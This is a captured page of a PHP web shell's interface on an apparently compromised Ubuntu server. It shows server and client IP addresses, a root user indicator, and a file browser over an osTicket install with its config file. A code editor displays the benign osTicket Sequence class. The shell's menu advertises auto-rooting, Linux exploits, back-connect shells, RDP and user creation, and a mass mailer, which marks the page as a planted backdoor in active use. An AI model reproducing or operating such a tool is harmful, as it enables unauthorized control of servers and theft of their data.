Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.sequence.php
<?php require_once INCLUDE_DIR . 'class.orm.php'; class Sequence extends VerySimpleModel { static $meta = array( 'table' => SEQUENCE_TABLE, 'pk' => array('id'), 'ordering' => array('name'), ); const FLAG_INTERNAL = 0x0001; /** * Function: next * * Fetch the next number in the sequence. The next number in the * sequence will be adjusted in the database so that subsequent calls to * this function should never receive the same result. * * Optionally, a format specification can be sent to the function and * the next sequence number will be returned padded. See the `::format` * function for more details. * * Optionally, a check callback can be specified to ensure the next * value of the sequence is valid. This might be useful for a * pseudo-random generator which might repeat existing numbers. The * callback should have the following signature and should return * boolean TRUE to approve the number. * * Parameters: * $format - (string) Format specification for the result * $check - (function($format, $next)) Validation callback function * where $next will be the next value as an integer, and $formatted * will be the formatted version of the number, if a $format * parameter were passed to the `::next` method. * * Returns: * (int|string) - next number in the sequence, optionally formatted and * verified. */ function next($format=false, $check=false) { $digits = $format ? $this->getDigitCount($format) : false; if ($check && !is_callable($check)) $check = false; do { $next = $this->__next($digits); $formatted = $format ? $this->format($format, $next) : $next; } while ($check && !call_user_func_array($check, array($formatted, $next))); return $formatted; } /** * Function: current * * Peeks at the next number in the sequence without incrementing the * sequence. * * Parameters: * $format - (string:optional) format string to receive the current * sequence number * * Returns: * (int|string) - the next number in the sequence without advancing the * sequence, optionally formatted. See the `::format` method for * formatting details. */ function current($format=false) { return $format ? $this->format($format, $this->next) : $this->next; } /** * Function: format * * Formats a number to the given format. The number will be placed into * the format string according to the locations of hash characters (#) * in the string. If more hash characters are encountered than digits * the digits are left-padded accoring to the sequence padding * character. If fewer are found, the last group will receive all the * remaining digits. * * Hash characters can be escaped with a backslash (\#) and will emit a * single hash character to the output. * * Parameters: * $format - (string) Format string for the number, e.g. "TX-######-US" * $number - (int) Number to appear in the format. If not * specified the next number in this sequence will be used. */ function format($format, $number) { $groups = array(); preg_match_all('/(?<!\\\)#+/', $format, $groups, PREG_OFFSET_CAPTURE); $total = 0; foreach ($groups[0] as $g) $total += strlen($g[0]); $number = str_pad($number, $total, $this->padding, STR_PAD_LEFT); $output = ''; $start = $noff = 0; // Interate through the ### groups and replace the number of hash // marks with numbers from the sequence foreach ($groups[0] as $g) { $size = strlen($g[0]); // Add format string from previous marker to current ## group $output .= str_replace('\#', '#', substr($format, $start, $g[1] - $start)); // Add digits from the sequence number $output .= substr($number, $noff, $size); // Set offset counts for the next loop $start = $g[1] + $size; $noff += $size; } // If there are more digits of number than # marks, add the number // where the last hash mark was found if (strlen($number) > $noff) $output .= substr($number, $noff); // Add format string from ending ## group $output .= str_replace('\#', '#', substr($format, $start)); return $output; } function getDigitCount($format) { $total = 0; $groups = array(); return preg_match_all('/(?<!\\\)#/', $format, $groups); } /** * Function: __next * * Internal implementation of the next number generator. This method * will lock the database object backing to protect against concurent * ticket processing. The lock will be released at the conclusion of the * session. * * Parameters: * $digits - (int:optional) number of digits (size) of the number. This * is useful for random sequences which need a size hint to * generate a "next" value. * * Returns: * (int) - The current number in the sequence. The sequence is advanced * and assured to be session-wise atomic before the value is returned. */ function __next($digits=false) { // Ensure this block is executed in a single transaction db_autocommit(false); // Lock the database object -- this is important to handle concurrent // requests for new numbers static::objects()->filter(array('id'=>$this->id))->lock()->one(); // Increment the counter $next = $this->next; $this->next += $this->increment; $this->updated = SqlFunction::NOW(); $this->save(); db_autocommit(true); return $next; } function hasFlag($flag) { return $this->flags & $flag != 0; } function setFlag($flag, $value=true) { if ($value) $this->flags |= $flag; else $this->flags &= ~$flag; } function getName() { return $this->name; } function isValid() { if (!$this->name) return 'Name is required'; if (!$this->increment) return 'Non-zero increment is required'; if (!$this->next || $this->next < 0) return 'Positive "next" value is required'; if (!$this->padding) $this->padding = '0'; return true; } function __get($what) { // Pseudo-property for $sequence->current if ($what == 'current') return $this->current(); return parent::__get($what); } function __create($data) { $instance = new self($data); $instance->save(); return $instance; } } class RandomSequence extends Sequence { var $padding = '0'; function __next($digits=6) { if ($digits < 6) $digits = 6; return Misc::randNumber($digits); } function current($format=false) { return $this->next($format); } function save($refetch=false) { throw new RuntimeException('RandomSequence is not database-backed'); } }
Close